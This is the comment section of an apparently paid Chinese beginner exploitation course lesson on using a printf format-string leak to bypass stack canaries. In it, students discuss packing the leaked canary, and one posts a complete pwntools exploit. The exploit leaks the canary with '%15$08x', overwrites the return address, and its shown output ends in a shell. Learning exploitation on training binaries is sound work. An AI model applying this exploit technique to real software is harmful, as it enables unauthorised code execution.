首页
论坛
课程
招聘
如何利用printf漏洞突破canary保护

零基础入门PWN

该课程为付费课程,如需学习完整课程请购买
作者: Roger
发布时间: 2020-2-15
最后修改: 2020-7-10
2679

上一节 :
下一节 :
章节评论 (3)
xiaofei0115 2020-4-28
 举报
@Roger        老师,请问一下这里是否可以用泄露的地址后用p32(canary)的方式。
【讲师回复】 之前recv的时候已经逆序处理变成小端了,您仔细理解一下代码,不需要再加p32了哦!
2020-4-28
xiaofei0115 2020-4-29
 举报
@Roger    老师您好,我的意思是您既然泄露出的是一个地址,所以按道理应该可以直接P32打包发送。这个我已经测试是成功的了,所以说canary.decode('hex')[::-1]这个是不是就等价p32的作用。当然canary值也需要int(canary,16)  ,那就是p32  的作用就是将16字节小端输入。
【讲师回复】 对,等价的,为了让你们更了解输入输出处理,我专门这样写的,其实可以直接U32解包
2020-4-29
hackbs 2020-7-12
 举报
Pwn                                                                学习第六课打卡!
0x00:Printf  %k$p格式解析
[
先来说说printf的这个特殊格式format,`%k$p`  {表示:%从第几个参数开始,$p  输出的类型},说实话我平时编程还真没遇到过这种格式输出的,看来是知识浅薄啊,得多读书多学习啊。
{
#这里栈顶到Cannary  Cookie值的地方刚好是0xF  也就是15,即[ebp-0xc]的值
%15$08x    //表示第15个参数,即15行开始,然后输出4个字节的十六进制,即正序长度8的十六进制数据
}
]

0x01:Exp
{
#test  Pwncannary
#@Pwnd  by  Lee  .
from  pwn  import  *

#exploit
def  exp():
        #Initialize,  open  the  process  to  get  a  handle
        hPwncannary  =  process("./PwnCannary")
        #Initializes  each  address
        hPwncannary.sendline('%15$08x')
        cannaryCookie  =  hPwncannary.recv()[:8]
        cannaryCookieHex  =  cannaryCookie.decode("hex")[::-1]
        #log
        print  'Cannary  Cookie  =  %s'  %  cannaryCookie
        #Payload
        cannaryAddress  =  8  *  4
        returnAddress    =  3  *  4
        exploitFuncAddress  =  p32(0x080484e6)
       
        #do  it.
        payload  =  cannaryAddress*'A'  +  cannaryCookieHex  +  returnAddress  *  'A'  +  exploitFuncAddress
        hPwncannary.sendline(payload)

        #log
        hPwncannary.interactive()



def  main():
        exp()

if  __name__  ==  "__main__":
        main()
}

0x03:成果
{
lee@DESKTOP-9HESF2T:~$  python  exp_PwnCannary.py
[+]  Starting  local  process  './PwnCannary':  pid  896
Cannary  Cookie  =  cd7d8800
[*]  Switching  to  interactive  mode
$  whoami
lee
}
【讲师回复】 坚持就是胜利
2020-8-2